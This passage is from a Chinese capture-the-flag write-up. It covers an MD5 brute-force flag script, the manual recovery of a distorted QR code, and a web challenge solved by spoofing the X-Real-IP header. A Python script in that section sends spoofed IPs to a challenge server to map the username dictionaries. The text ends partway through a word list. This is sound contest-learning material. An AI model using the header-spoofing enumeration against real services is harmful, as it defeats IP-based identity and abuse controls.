113, 128, 29, 10, 222, 7, 181, 196, 245, 30, 140, 98, 21, 226, 0, 176, 209, 180, 136, 91, 194, 253, 197, 166, 101, 38, 105, 36, 72, 108, 95, 0, 121, 44, 158, 127, 5, 196, 7, 197, 111, 59, 236, 76, 167, 229, 193, 113, 0, 56, 85, 229, 165, 187, 193, 203, 225, 138, 110, 171, 93, 217, 124, 6, 60, 0, 136, 109, 69, 224, 69, 27, 187, 167, 192, 52, 31, 233, 10, 149, 79, 52, 0, 58, 67, 124, 190, 101, 145, 234, 52, 137, 100, 37, 133, 110, 174, 123, 101, 0, 52, 48, 73, 103, 160, 103, 48, 138, 118, 112, 31, 5, 192, 102, 133, 81, 0, 214, 175, 124, 79, 237, 207, 43, 103, 119, 223, 142, 131, 201, 50, 248, 131, 0, 223, 136, 147, 30, 126, 239, 223, 204, 43, 184, 13, 74, 79, 87, 16, 251, 0, 203, 15, 200, 19, 117, 90, 69, 206, 89, 132, 191, 186, 21, 132, 124, 30]
data = [[0] * 16 for i in range(28)]
for i in range(28):
for j in range(16):
data[i][j] = enc[i * 17 + j]
str = "F}"
for j in range(26,-1,-1):
for t in range(32,127):
temp = chr(t) + str
if md5(temp.encode()).digest() == bytes(data[j]):
str = temp
print(str)
Misc
raenil
做完就瞎了
给了一个GIF,是被拉伸变形的二维码。
从掩码可以看出左边的图是正着的,右边的是倒着的。
不会p图,硬看然后qrazybox手动恢复,干就完了。
padding bits recovery自动填充一下
然后reed solomon decoder解码就行
nanonymous spam
观察可以发现,用户名与ip有关,肯定是要伪造ip,但是XFF头好像没用,试了下这里X-Real-IP头可以用。
后面就是找ip和用户名的对应关系。用户名总共由四个部分构成,本来以为就是每个部分对应了一个字典,后来发现中间这四个部分之间存在换位的现象,但实际上用的仍然是四个互不相交的字典,最终测出来具体规律如下:
一个部分用的是一个长度为103的字典,这个部分永远是第一个变化的,因此周期是103个ip;
一个部分用的是一个长度为512的字典,这个部分是第二个变化的,因此周期是103*512个ip;
一个部分用的是一个长度为313的字典,这个部分是第三个变化的,因此周期是103*512*313个ip;
最后一个部分则是每103*512*313个ip变化一次。
前三个部分在第一次发生换位之前就能根据周期很容易地测出来,下面是测最后这个部分所用的脚本,简单来说就是如果发现元素不属于前三个部分的字典,那它就是属于最后这个部分,这样后面不管怎么换位我们都能精准地找到这一部分
import requests
import re
import ipaddress
def increment_ip(ip):
ip_int = int(ipaddress.IPv4Address(ip))
ip_int += 103*512*313
if ip_int > int(ipaddress.IPv4Address('255.255.255.255')):
return None
return str(ipaddress.IPv4Address(ip_int))
url = "http://1.95.184.40:8520/"
headers_template = {
'X-Real-IP': None,
}
pattern = re.compile(r'<h2>Post a Message</h2>\s*<div class="username">User: (.+?)</div>', re.DOTALL)
current_ip = '0.0.0.0'
first=['Nod', 'Tap', 'Liz', 'Mel', 'Fig', 'Rif', 'Rip', 'Pud', 'Foo', 'Haw', 'Wef', 'Kel', 'Gat', 'Hod', 'Mom', 'Lin', 'Fez', 'Rua', 'Fay', 'Pat', 'Ned', 'Taz', 'Sid', 'Mic', 'Nom', 'Hab', 'Rug', 'Men', 'Nok', 'Fun', 'Pox', 'Red', 'Jah', 'Tet', 'Hip', 'Tem', 'Bad', 'Mir', 'Taj', 'Maf', 'Rac', 'Zia', 'Hea', 'Fis', 'Dem', 'Bim', 'Gow', 'Hub', 'Job', 'Nex', 'Jas', 'Lie', 'Sim', 'Poc', 'Ran', 'Voa', 'Gig', 'Jes', 'Nie', 'Lal', 'Lek', 'Pen', 'Cos', 'Col', 'Nao', 'Mop', 'Bac', 'Cis', 'Mor', 'Vim', 'Ceo', 'Gic', 'Mii', 'Dep', 'Len', 'Few', 'Lob', 'Lea', 'Bec', 'Mui', 'Pec', 'Mab', 'Her', 'Tas', 'Tui', 'Kun', 'Vic', 'Too', 'Woe', 'Uav', 'Dam', 'Jin', 'Kaz', 'Yew', 'Cid', 'Jaw', 'Hay', 'Gib', 'Mis', 'Til', 'Six', 'Bot', 'Guo']
second=['Wim', 'Het', 'Fau', 'Ria', 'Dio', 'God', 'Man', 'Lim', 'Fap', 'Bar', 'Sot', 'Uae', 'Faq', 'Gum', 'Doe', 'Kay', 'Vol', 'Bic', 'Ren', 'Sox', 'Ral', 'Pii', 'Fol', 'Noo', 'Wes', 'Law', 'Pic', 'Zig', 'Ric', 'Tad', 'Pav', 'Loo', 'Tea', 'Koh', 'Fia', 'Rep', 'Soa', 'Gog', 'Rim', 'Nec', 'Jun', 'Sus', 'Roh', 'Sac', 'Diy', 'Gin', 'Gul', 'Via', 'Tec', 'Mah', 'Rus', 'Cal', 'Wat', 'Mes', 'Pam', 'Sav', 'Luz', 'Lac', 'Jud', 'Lop', 'Tub', 'Lia', 'Kip', 'Nau', 'Loa', 'Roa', 'Dos', 'Nor', 'Jaz', 'Fim', 'Boo', 'Pad', 'Duo', 'Min', 'Vis', 'Hux', 'Cue', 'Soc', 'Caw', 'Rig', 'Wod', 'Pag', 'Tak', 'Cag', 'Coe', 'Lev', 'Ted', 'Vax', 'Peo', 'Uic', 'Cus', 'Huh', 'Rub', 'Gia', 'Raf', 'Bed', 'Pei', 'Sig', 'Pur', 'Qin', 'Dai', 'Deb', 'Pof', 'Neg', 'Tol', 'Lux', 'Jus', 'Uah', 'Que', 'Noe', 'Lov', 'Zee', 'Con', 'Fey', 'Soi', 'Tex', 'Pin', 'Kap', 'Sal', 'Luo', 'Tim', 'Mid', 'Daw', 'Had', 'Gam', 'Jul', 'Jie', 'Wol', 'Mon', 'Roc', 'Rel', 'Bas', 'Nou', 'Reo', 'Mar', 'Dao', 'Niu', 'Kev', 'Dee', 'Wip',
'Coc', 'Fes', 'Rat', 'Dig', 'Teu', 'Mob', 'Mae', 'Car', 'Tux', 'Dew', 'Xue', 'Poi', 'Sit', 'Xin', 'Per', 'Mos', 'Top', 'Gab', 'Yin', 'Loi', 'Jay', 'Moi', 'Yeo', 'Day', 'Dic', 'Haq', 'Dak', 'Mer', 'Wii', 'Pix', 'Fag', 'Dog', 'Por', 'Nib', 'Hog', 'Huw', 'Voc', 'Hob', 'Zep', 'Neo', 'Com', 'Seo', 'Cur', 'Mow', 'Reb', 'Jim', 'Noc', 'Big', 'Fin', 'Sek', 'Fav', 'Niv', 'Pom', 'Pes', 'Ker', 'Yao', 'Coq', 'Tif', 'Gem', 'Cel', 'Zit', 'Toc', 'Jet', 'Vow', 'Lon', 'Rev', 'Joi', 'Jem', 'Wad', 'Bom', 'Tar', 'Pua', 'Rao', 'Bio', 'For', 'Dec', 'Win', 'See', 'Pup', 'Mea', 'Fam', 'Muh', 'Doo', 'Moh', 'Sam', 'Maw', 'Tog', 'Moe', 'Tin', 'Hur', 'Won', 'Lox', 'Poa', 'Dun', 'Run', 'Bil', 'Vip', 'Viv', 'Del', 'Nae', 'Zip', 'Roo', 'Sum', 'Leh', 'Lam', 'Yoo', 'Yip', 'Tow', 'Pil', 'Nab', 'Goi', 'Gar', 'Qua', 'Cor', 'Hav', 'Let', 'Ree', 'Set', 'Lee', 'Cef', 'Jam', 'Fal', 'Daa', 'Put', 'Num', 'Vod', 'Tis', 'Cad', 'Mot', 'Rit', 'Lex', 'Nav', 'Sia', 'Lip', 'Nox', 'Raj', 'Pie', 'Hel', 'Bam', 'Fed', 'Los', 'Fax', 'Neh',
'Jag', 'Sec', 'Jap', 'Sun', 'Cea', 'Jug', 'Sis', 'Cut', 'Fit', 'Fox', 'Bum', 'Joh', 'Lag', 'Fic', 'Sae', 'Gaz', 'Yuh', 'Hee', 'Fae', 'Caf', 'Nag', 'Bay', 'Ray', 'Log', 'Dim', 'Bag', 'Gap', 'San', 'Sup', 'Kuo', 'Wav', 'Suh', 'Kal', 'Tom', 'Ret', 'Seb', 'Wil', 'Jen', 'Haz', 'Cum', 'Xiv', 'Pon', 'Cod', 'Kit', 'Biz', 'Gag', 'Fen', 'Leg', 'Uid', 'Bod', 'Peg', 'Fur', 'Pip', 'Vid', 'Ter', 'Mol', 'Yor', 'Tek', 'Koo', 'Sui', 'Gis', 'Cia', 'Jig', 'Nad', 'Sin', 'Wop', 'Hou', 'Xii', 'Mim', 'Naa', 'Nia', 'Fai', 'Cat', 'Mio', 'Vee', 'Sew', 'Pal', 'Bub', 'Lis', 'Cac', 'Bid', 'Pah', 'Dip', 'Goy', 'Rum', 'Hoc', 'Viz', 'Fog', 'Tax', 'Kin', 'Req', 'Kik', 'Coa', 'Meh', 'Mum', 'Lap', 'Mov', 'Pir', 'Bop', 'Der', 'Dag', 'Lei', 'Jit', 'Tod', 'Far', 'Tig', 'Tae', 'Ten', 'Toe', 'Sep', 'Mac', 'Hua', 'Vik', 'Piu', 'Rar', 'Hut', 'New', 'Pap', 'Hid', 'Xia', 'Hug', 'Rox', 'Rey', 'Meg', 'Zak', 'Uas', 'Dug', 'Bes', 'Ton', 'Lad', 'Hus', 'Lew', 'Jiu', 'Pub', 'Buy', 'Bet', 'Nog', 'Yak', 'Bau', 'Qol', 'Yet', 'Dor', 'Buh',
'Baz', 'Kat', 'Fei', 'Kon', 'Nuh', 'Noa', 'Cap', 'Cil', 'Tan', 'Jed', 'Dur', 'Bol', 'Sux', 'Gov', 'Dev', 'Teh', 'Bob', 'Bal', 'Pep', 'Hah', 'Res', 'Cai', 'Gas', 'Qiu', 'Wiz', 'Pis', 'Heh', 'Dil', 'Yer', 'Gon', 'Nis', 'Fiu', 'Ber', 'Gan', 'Bak', 'Fud', 'Cog', 'Zim', 'Doa', 'Bos', 'Hen', 'Hes', 'Dub', 'Web', 'Lol', 'Zoo', 'Vag', 'Lep', 'Vin', 'Cep', 'Sow', 'Naw', 'Mee', 'Vir', 'Jae', 'Lic', 'Gah', 'Wax', 'Zap', 'Bur', 'Civ', 'Tag', 'Led', 'Boe', 'Cin', 'You', 'Daf', 'Beg', 'Xan', 'Wix', 'Nun', 'Yap', 'Bai', 'Cox', 'Sur', 'Fet', 'Moj', 'Lau', 'Dis', 'Mat', 'Rid', 'Mal', 'Ris', 'Uis', 'Hib', 'Vie', 'But']
third=['Ser', 'Dea', 'Jac', 'Way', 'Cio', 'Tie', 'Tun', 'Goa', 'Sap', 'Fan', 'Jor', 'Pit', 'Gor', 'Son', 'Mun', 'Dan', 'Veg', 'Wel', 'Sev', 'Jeb', 'Gio', 'Ceu', 'Bib', 'Cif', 'Bug', 'Zan', 'Mec', 'Rob', 'Lao', 'Hew', 'Quo', 'Hor', 'Foe', 'Mak', 'Hol', 'Fil', 'Cam', 'Nur', 'Vet', 'Yea', 'Yup', 'Lot', 'Jab', 'Goo', 'Soy', 'Pay', 'Hoe', 'Dud', 'Qos', 'Boa', 'Ceb', 'Lug', 'Nic', 'Rai', 'Nap', 'Sem', 'Rue', 'Bah', 'Sez', 'Jib', 'Ual', 'Mus', 'Cip', 'Cir', 'Yan', 'Div', 'Bor', 'War', 'Don', 'Tug', 'Tuk', 'Maj', 'Hae', 'Rui', 'Git', 'Gil', 'Lab', 'Med', 'Mag', 'Dui', 'Ruv', 'Raw', 'Sol', 'Foy', 'Sib', 'Sub', 'Moz', 'Ras', 'Mil', 'Rem', 'Nix', 'Dom', 'Ban', 'Zeb', 'Woo', 'Pus', 'Mau', 'Boi', 'Ped', 'Kee', 'Pop', 'Mix', 'Wai', 'Gun', 'Ley', 'Cee', 'Bok', 'Fao', 'Sul', 'Zac', 'Siu', 'Jan', 'Sai', 'Ged', 'Pau', 'Cop', 'Les', 'Suu', 'Dir', 'Var', 'Wap', 'Tai', 'Wah', 'Rei', 'Pas', 'Bat', 'Cas', 'Fad', 'Joe', 'Nir', 'Fem', 'Hai', 'Tal', 'Wea', 'Rok', 'Hoa', 'Goh', 'Hof', 'Nos', 'Roy',
'Nem', 'Bel', 'Yui', 'Wor', 'Neb', 'Tot', 'Luv', 'Yun', 'Lil', 'Doc', 'Lai', 'Hem', 'Kew', 'Lay', 'Nik', 'Gus', 'Hoh', 'Fix', 'Cup', 'Fer', 'Deo', 'Coy', 'Jer', 'Luc', 'Gif', 'Cou', 'Dob', 'Dow', 'Hum', 'Hom', 'Nan', 'Dot', 'Den', 'Yeh', 'Ces', 'Jak', 'Nei', 'Rag', 'Dar', 'Pun', 'Dex', 'Gee', 'Nes', 'Mit', 'Fos', 'Sed', 'Pac', 'Cic', 'Toi', 'Raz', 'Tok', 'Did', 'Rik', 'Hit', 'Kam', 'Hiv', 'Jut', 'Tee', 'Pod', 'Gir', 'Sax', 'Hat', 'Dab', 'Nai', 'Jez', 'Was', 'Bon', 'Kid', 'Him', 'Tia', 'Bin', 'Wep', 'Dup', 'Yue', 'Maa', 'Hao', 'Suv', 'Ken', 'Mod', 'Kan', 'Moc', 'Cow', 'Sex', 'Ben', 'Deg', 'Gaf', 'Yaw', 'Luk', 'Faa', 'Bow', 'Ror', 'Bee', 'Cob', 'Loy', 'Row', 'Det', 'Nut', 'Rah', 'Coi', 'Rap', 'Def', 'Hie', 'Tic', 'Wis', 'Mew', 'Dav', 'Sir', 'Zoe', 'Zin', 'Uac', 'Rab', 'Yen', 'Sip', 'Nip', 'Bir', 'Pak', 'Kar', 'Gen', 'Kea', 'Sor', 'Lod', 'Fas', 'Sif', 'Zag', 'Rea', 'Wed', 'Vex', 'Lem', 'Sob', 'Sue', 'Lar', 'Rav', 'Sou', 'Bev', 'Kek', 'Kol', 'Rae', 'Map', 'Dah', 'Pee', 'Tam', 'Loc', 'Boc',
'Coz', 'Ful', 'Paz', 'Hop', 'Bui', 'Ref', 'Coo', 'Rez', 'Seq', 'Lou', 'Hon', 'Leo', 'Bis', 'Dia', 'Hui', 'Mai', 'Pez', 'Boy', 'Rog', 'Dac', 'Tut', 'Rut', 'Cuz', 'Now', 'Nii', 'Yas', 'Doj', 'Saw', 'Bex', 'Fom']
fourth=[]
while current_ip is not None:
headers = headers_template.copy()
headers['X-Real-IP'] = current_ip
try:
response = requests.get(url, headers=headers)
match = pattern.search(response.text)
if match:
comb=match.group(1)
if comb[0:3] not in first and comb[0:3] not in second and comb[0:3] not in third and comb[0:3] not in fourth:
fourth.append(comb[0:3])
elif comb[3:6] not in first and comb[3:6] not in second and comb[3:6] not in third and comb[3:6] not in fourth:
fourth.append(comb[3:6])
elif comb[6:9] not in first and comb[6:9] not in second and comb[6:9] not in third and comb[6:9] not in fourth:
fourth.append(comb[6:9])
elif comb[9:12] not in first and comb[9:12] not in second and comb[9:12] not in third and comb[9:12] not in fourth:
fourth.append(comb[9:12])
except Exception as e:
print(f"Error occurred while processing IP {current_ip}: {e}")
next_ip = increment_ip(current_ip)
if next_ip is None:
break
current_ip = next_ip
print(fourth)
得到最后这个部分的字典
['Puc', 'Maz', 'Doh', 'Hun', 'Cud', 'Vit', 'Wer', 'Hag', 'Din', 'Feb', 'Gui', 'Rak', 'Vac', 'Kim', 'Pol', 'Som', 'Saa', 'Hac', 'Xie', 'Ses', 'Van', 'Nef', 'Mia', 'Tab', 'Pid', 'Ver', 'Cay', 'Jog', 'Jar', 'Lan', 'Hex', 'Soe', 'Lid', 'Fip', 'Wet', 'Ner', 'Dey', 'May', 'Dua', 'Dez', 'Gut', 'Sag', 'Kor', 'Yon', 'Haa', 'Par', 'Fat', 'Vel', 'Yum', 'Wac', 'Poe', 'Yes', 'Rex', 'Gop', 'Cit', 'Val', 'Xix', 'Bit', 'Mig', 'Mib', 'Gaa', 'Sat', 'Mex', 'Geo', 'Doi', 'Mou', 'Dol', 'Joy', 'Caa', 'Dix', 'Nat', 'Boj', 'Mad', 'Pew', 'Nev', 'Sas', 'Rin', 'Dal', 'Joo', 'Vii', 'Tid', 'Hap', 'Sea', 'Cae', 'Cab', 'Nea', 'Wan', 'Mem', 'Nam', 'Mao', 'Pov', 'Pio', 'Bey', 'Vas', 'Jee', 'Not', 'Lat', 'Sud', 'Bog', 'Hue', 'Rio', 'Got', 'Liu', 'Lax', 'Fec', 'Duc', 'Rec', 'Mas', 'Cig', 'Vox', 'Rov', 'Pow', 'Sil', 'Gac', 'Pet', 'Yay', 'Sad', 'Ram', 'Box', 'Wag', 'Nin', 'Lib', 'Tou', 'Dae', 'Tau', 'Teo', 'Sod', 'Hoy', 'Tip', 'Cer', 'Wee', 'Nov', 'Keg', 'Nit', 'Wok', 'Hin', 'Tue', 'Ron', 'Roi', 'Vos', 'Sao', 'Kia', 'Tix', 'Mip', 'Cub', 'Nah', 'Hot', 'Wic', 'Yar', 'Sic', 'Sar', 'Kok', 'Fee', 'Yuk', 'Hoo', 'Hei', 'Dap', 'Cen', 'Las', 'Guy', 'Jon', 'His', 'Moo', 'Roz', 'Fac', 'Fir', 'Ham', 'Rad', 'Foi', 'Sof', 'Poo', 'Toa', 'Kos', 'Sei', 'Dof', 'Get', 'Bap', 'Kes', 'Die', 'Dad', 'Pea', 'Nus', 'Tit', 'Ros', 'Nay', 'Moa', 'Zen', 'Mam', 'Heb', 'Fab', 'Rib', 'Cao', 'Hey', 'Wot', 'Soo', 'Kai', 'Cem', 'Rom', 'Uaw', 'Zed', 'Noi', 'Sab', 'Tes', 'Gob', 'Jax', 'Nob', 'Bao', 'Tos', 'Tor', 'Mep', 'Pan', 'Har', 'Guv', 'Foa', 'Nih', 'Cim', 'Pig', 'Jot', 'Sop', 'Duh', 'Jia', 'Nil', 'Fib', 'Kei', 'Gad', 'Toy', 'Pim', 'Gel', 'Cet', 'Hal', 'Wen', 'Yah', 'Nup', 'Jai', 'Paw', 'Pos', 'Qed', 'Tel', 'Gay', 'Liv', 'Bus', 'Fop', 'Pia', 'Miu', 'Ked', 'Fea', 'Fob', 'Sel', 'Miz', 'Lor', 'Tay', 'Pot', 'Tac', 'Wei', 'Mug', 'Dat', 'Wal', 'How', 'Yow', 'Pax']
接下来就是简单的查表,根据用户名算ip了
import ipaddress
first=['Nod', 'Tap', 'Liz', 'Mel', 'Fig', 'Rif', 'Rip', 'Pud', 'Foo', 'Haw', 'Wef', 'Kel', 'Gat', 'Hod', 'Mom', 'Lin', 'Fez', 'Rua', 'Fay', 'Pat', 'Ned', 'Taz', 'Sid', 'Mic', 'Nom', 'Hab', 'Rug', 'Men', 'Nok', 'Fun', 'Pox', 'Red', 'Jah', 'Tet', 'Hip', 'Tem', 'Bad', 'Mir', 'Taj', 'Maf', 'Rac', 'Zia', 'Hea', 'Fis', 'Dem', 'Bim', 'Gow', 'Hub', 'Job', 'Nex', 'Jas', 'Lie', 'Sim', 'Poc', 'Ran', 'Voa', 'Gig', 'Jes', 'Nie', 'Lal', 'Lek', 'Pen', 'Cos', 'Col', 'Nao', 'Mop', 'Bac', 'Cis', 'Mor', 'Vim', 'Ceo', 'Gic', 'Mii', 'Dep', 'Len', 'Few', 'Lob', 'Lea', 'Bec', 'Mui', 'Pec', 'Mab', 'Her', 'Tas', 'Tui', 'Kun', 'Vic', 'Too', 'Woe', 'Uav', 'Dam', 'Jin', 'Kaz', 'Yew', 'Cid', 'Jaw', 'Hay', 'Gib', 'Mis', 'Til', 'Six', 'Bot', 'Guo']
second=['Wim', 'Het', 'Fau', 'Ria', 'Dio', 'God', 'Man', 'Lim', 'Fap', 'Bar', 'Sot', 'Uae', 'Faq', 'Gum', 'Doe', 'Kay', 'Vol', 'Bic', 'Ren', 'Sox', 'Ral', 'Pii', 'Fol', 'Noo', 'Wes', 'Law', 'Pic', 'Zig', 'Ric', 'Tad', 'Pav', 'Loo', 'Tea', 'Koh', 'Fia', 'Rep', 'Soa', 'Gog', 'Rim', 'Nec', 'Jun', 'Sus', 'Roh', 'Sac', 'Diy', 'Gin', 'Gul', 'Via', 'Tec', 'Mah', 'Rus', 'Cal', 'Wat', 'Mes', 'Pam', 'Sav', 'Luz', 'Lac', 'Jud', 'Lop', 'Tub', 'Lia', 'Kip', 'Nau', 'Loa', 'Roa', 'Dos', 'Nor', 'Jaz', 'Fim', 'Boo', 'Pad', 'Duo', 'Min', 'Vis', 'Hux', 'Cue', 'Soc', 'Caw', 'Rig', 'Wod', 'Pag', 'Tak', 'Cag', 'Coe', 'Lev', 'Ted', 'Vax', 'Peo', 'Uic', 'Cus', 'Huh', 'Rub', 'Gia', 'Raf', 'Bed', 'Pei', 'Sig', 'Pur', 'Qin', 'Dai', 'Deb', 'Pof', 'Neg', 'Tol', 'Lux', 'Jus', 'Uah', 'Que', 'Noe', 'Lov', 'Zee', 'Con', 'Fey', 'Soi', 'Tex', 'Pin', 'Kap', 'Sal', 'Luo', 'Tim', 'Mid', 'Daw', 'Had', 'Gam', 'Jul', 'Jie', 'Wol', 'Mon', 'Roc', 'Rel', 'Bas', 'Nou', 'Reo', 'Mar', 'Dao', 'Niu', 'Kev', 'Dee', 'Wip', 'Coc', 'Fes', 'Rat', 'Dig', 'Teu', 'Mob', 'Mae', 'Car', 'Tux', 'Dew', 'Xue', 'Poi', 'Sit', 'Xin', 'Per', 'Mos', 'Top', 'Gab', 'Yin', 'Loi', 'Jay', 'Moi', 'Yeo', 'Day', 'Dic', 'Haq', 'Dak', 'Mer', 'Wii', 'Pix', 'Fag', 'Dog', 'Por', 'Nib', 'Hog', 'Huw', 'Voc', 'Hob', 'Zep', 'Neo', 'Com', 'Seo', 'Cur', 'Mow', 'Reb', 'Jim', 'Noc', 'Big', 'Fin', 'Sek', 'Fav', 'Niv', 'Pom', 'Pes', 'Ker', 'Yao', 'Coq', 'Tif', 'Gem', 'Cel', 'Zit', 'Toc', 'Jet', 'Vow', 'Lon', 'Rev', 'Joi', 'Jem', 'Wad', 'Bom', 'Tar', 'Pua', 'Rao', 'Bio', 'For', 'Dec', 'Win', 'See', 'Pup', 'Mea', 'Fam', 'Muh', 'Doo', 'Moh', 'Sam', 'Maw', 'Tog', 'Moe', 'Tin', 'Hur', 'Won', 'Lox', 'Poa', 'Dun', 'Run', 'Bil', 'Vip', 'Viv', 'Del', 'Nae', 'Zip', 'Roo', 'Sum', 'Leh', 'Lam', 'Yoo', 'Yip', 'Tow', 'Pil', 'Nab', 'Goi', 'Gar', 'Qua', 'Cor', 'Hav', 'Let', 'Ree', 'Set', 'Lee', 'Cef', 'Jam', 'Fal', 'Daa', 'Put', 'Num', 'Vod', 'Tis', 'Cad', 'Mot', 'Rit', 'Lex', 'Nav', 'Sia', 'Lip', 'Nox', 'Raj', 'Pie', 'Hel', 'Bam', 'Fed', 'Los', 'Fax', 'Neh',
'Jag', 'Sec', 'Jap', 'Sun', 'Cea', 'Jug', 'Sis', 'Cut', 'Fit', 'Fox', 'Bum', 'Joh', 'Lag', 'Fic', 'Sae', 'Gaz', 'Yuh', 'Hee', 'Fae', 'Caf', 'Nag', 'Bay', 'Ray', 'Log', 'Dim', 'Bag', 'Gap', 'San', 'Sup', 'Kuo', 'Wav', 'Suh', 'Kal', 'Tom', 'Ret', 'Seb', 'Wil', 'Jen', 'Haz', 'Cum', 'Xiv', 'Pon', 'Cod', 'Kit', 'Biz', 'Gag', 'Fen', 'Leg', 'Uid', 'Bod', 'Peg', 'Fur', 'Pip', 'Vid', 'Ter', 'Mol', 'Yor', 'Tek', 'Koo', 'Sui', 'Gis', 'Cia', 'Jig', 'Nad', 'Sin', 'Wop', 'Hou', 'Xii', 'Mim', 'Naa', 'Nia', 'Fai', 'Cat', 'Mio', 'Vee', 'Sew', 'Pal', 'Bub', 'Lis', 'Cac', 'Bid', 'Pah', 'Dip', 'Goy', 'Rum', 'Hoc', 'Viz', 'Fog', 'Tax', 'Kin', 'Req', 'Kik', 'Coa', 'Meh', 'Mum', 'Lap', 'Mov', 'Pir', 'Bop', 'Der', 'Dag', 'Lei', 'Jit', 'Tod', 'Far', 'Tig', 'Tae', 'Ten', 'Toe', 'Sep', 'Mac', 'Hua', 'Vik', 'Piu', 'Rar', 'Hut', 'New', 'Pap', 'Hid', 'Xia', 'Hug', 'Rox', 'Rey', 'Meg', 'Zak', 'Uas', 'Dug', 'Bes', 'Ton', 'Lad', 'Hus', 'Lew', 'Jiu', 'Pub', 'Buy', 'Bet', 'Nog', 'Yak', 'Bau', 'Qol', 'Yet', 'Dor', 'Buh', 'Baz', 'Kat', 'Fei', 'Kon', 'Nuh', 'Noa', 'Cap', 'Cil', 'Tan', 'Jed', 'Dur', 'Bol', 'Sux', 'Gov', 'Dev', 'Teh', 'Bob', 'Bal', 'Pep', 'Hah', 'Res', 'Cai', 'Gas', 'Qiu', 'Wiz', 'Pis', 'Heh', 'Dil', 'Yer', 'Gon', 'Nis', 'Fiu', 'Ber', 'Gan', 'Bak', 'Fud', 'Cog', 'Zim', 'Doa', 'Bos', 'Hen', 'Hes', 'Dub', 'Web', 'Lol', 'Zoo', 'Vag', 'Lep', 'Vin', 'Cep', 'Sow', 'Naw', 'Mee', 'Vir', 'Jae', 'Lic', 'Gah', 'Wax', 'Zap', 'Bur', 'Civ', 'Tag', 'Led', 'Boe', 'Cin', 'You', 'Daf', 'Beg', 'Xan', 'Wix', 'Nun', 'Yap', 'Bai', 'Cox', 'Sur', 'Fet', 'Moj', 'Lau', 'Dis', 'Mat', 'Rid', 'Mal', 'Ris', 'Uis', 'Hib', 'Vie', 'But']
third=['Ser', 'Dea', 'Jac', 'Way', 'Cio', 'Tie', 'Tun', 'Goa', 'Sap', 'Fan', 'Jor', 'Pit', 'Gor', 'Son', 'Mun', 'Dan', 'Veg', 'Wel', 'Sev', 'Jeb', 'Gio', 'Ceu', 'Bib', 'Cif', 'Bug', 'Zan', 'Mec', 'Rob', 'Lao', 'Hew', 'Quo', 'Hor', 'Foe', 'Mak', 'Hol', 'Fil', 'Cam', 'Nur', 'Vet', 'Yea', 'Yup', 'Lot', 'Jab', 'Goo', 'Soy', 'Pay', 'Hoe', 'Dud', 'Qos', 'Boa', 'Ceb', 'Lug', 'Nic', 'Rai', 'Nap', 'Sem', 'Rue', 'Bah', 'Sez', 'Jib', 'Ual', 'Mus', 'Cip', 'Cir', 'Yan', 'Div', 'Bor', 'War', 'Don', 'Tug', 'Tuk', 'Maj', 'Hae', 'Rui', 'Git', 'Gil', 'Lab', 'Med', 'Mag', 'Dui', 'Ruv', 'Raw', 'Sol', 'Foy', 'Sib', 'Sub', 'Moz', 'Ras', 'Mil', 'Rem', 'Nix', 'Dom', 'Ban', 'Zeb', 'Woo', 'Pus', 'Mau', 'Boi', 'Ped', 'Kee', 'Pop', 'Mix', 'Wai', 'Gun', 'Ley', 'Cee', 'Bok', 'Fao', 'Sul', 'Zac', 'Siu', 'Jan', 'Sai', 'Ged', 'Pau', 'Cop', 'Les', 'Suu', 'Dir', 'Var', 'Wap', 'Tai', 'Wah', 'Rei', 'Pas', 'Bat', 'Cas', 'Fad', 'Joe', 'Nir', 'Fem', 'Hai', 'Tal', 'Wea', 'Rok', 'Hoa', 'Goh', 'Hof', 'Nos', 'Roy', 'Nem', 'Bel', 'Yui', 'Wor', 'Neb', 'Tot', 'Luv', 'Yun', 'Lil', 'Doc', 'Lai', 'Hem', 'Kew', 'Lay', 'Nik', 'Gus', 'Hoh', 'Fix', 'Cup', 'Fer', 'Deo', 'Coy', 'Jer', 'Luc', 'Gif', 'Cou', 'Dob', 'Dow', 'Hum', 'Hom', 'Nan', 'Dot', 'Den', 'Yeh', 'Ces', 'Jak', 'Nei', 'Rag', 'Dar', 'Pun', 'Dex', 'Gee', 'Nes', 'Mit', 'Fos', 'Sed', 'Pac', 'Cic', 'Toi', 'Raz', 'Tok', 'Did', 'Rik', 'Hit', 'Kam', 'Hiv', 'Jut', 'Tee', 'Pod', 'Gir', 'Sax', 'Hat', 'Dab', 'Nai', 'Jez', 'Was', 'Bon', 'Kid', 'Him', 'Tia', 'Bin', 'Wep', 'Dup', 'Yue', 'Maa', 'Hao', 'Suv', 'Ken', 'Mod', 'Kan', 'Moc', 'Cow', 'Sex', 'Ben', 'Deg', 'Gaf', 'Yaw', 'Luk', 'Faa', 'Bow', 'Ror', 'Bee', 'Cob', 'Loy', 'Row', 'Det', 'Nut', 'Rah', 'Coi', 'Rap', 'Def', 'Hie', 'Tic', 'Wis', 'Mew', 'Dav', 'Sir', 'Zoe', 'Zin', 'Uac', 'Rab', 'Yen', 'Sip', 'Nip', 'Bir', 'Pak', 'Kar', 'Gen', 'Kea', 'Sor', 'Lod', 'Fas', 'Sif', 'Zag', 'Rea', 'Wed', 'Vex', 'Lem', 'Sob', 'Sue', 'Lar', 'Rav', 'Sou', 'Bev', 'Kek', 'Kol', 'Rae', 'Map', 'Dah', 'Pee', 'Tam', 'Loc', 'Boc', 'Coz', 'Ful', 'Paz', 'Hop', 'Bui', 'Ref', 'Coo', 'Rez', 'Seq', 'Lou', 'Hon', 'Leo', 'Bis', 'Dia', 'Hui', 'Mai', 'Pez', 'Boy', 'Rog', 'Dac', 'Tut', 'Rut', 'Cuz', 'Now', 'Nii', 'Yas', 'Doj', 'Saw', 'Bex', 'Fom']
fourth=['Puc', 'Maz', 'Doh', 'Hun', 'Cud', 'Vit', 'Wer', 'Hag', 'Din', 'Feb', 'Gui', 'Rak', 'Vac', 'Kim', 'Pol', 'Som', 'Saa', 'Hac', 'Xie', 'Ses', 'Van', 'Nef', 'Mia', 'Tab', 'Pid', 'Ver', 'Cay', 'Jog', 'Jar', 'Lan', 'Hex', 'Soe', 'Lid', 'Fip', 'Wet', 'Ner', 'Dey', 'May', 'Dua', 'Dez', 'Gut', 'Sag', 'Kor', 'Yon', 'Haa', 'Par', 'Fat', 'Vel', 'Yum', 'Wac', 'Poe', 'Yes', 'Rex', 'Gop', 'Cit', 'Val', 'Xix', 'Bit', 'Mig', 'Mib', 'Gaa', 'Sat', 'Mex', 'Geo', 'Doi', 'Mou', 'Dol', 'Joy', 'Caa', 'Dix', 'Nat', 'Boj', 'Mad', 'Pew', 'Nev', 'Sas', 'Rin', 'Dal', 'Joo', 'Vii', 'Tid', 'Hap', 'Sea', 'Cae', 'Cab', 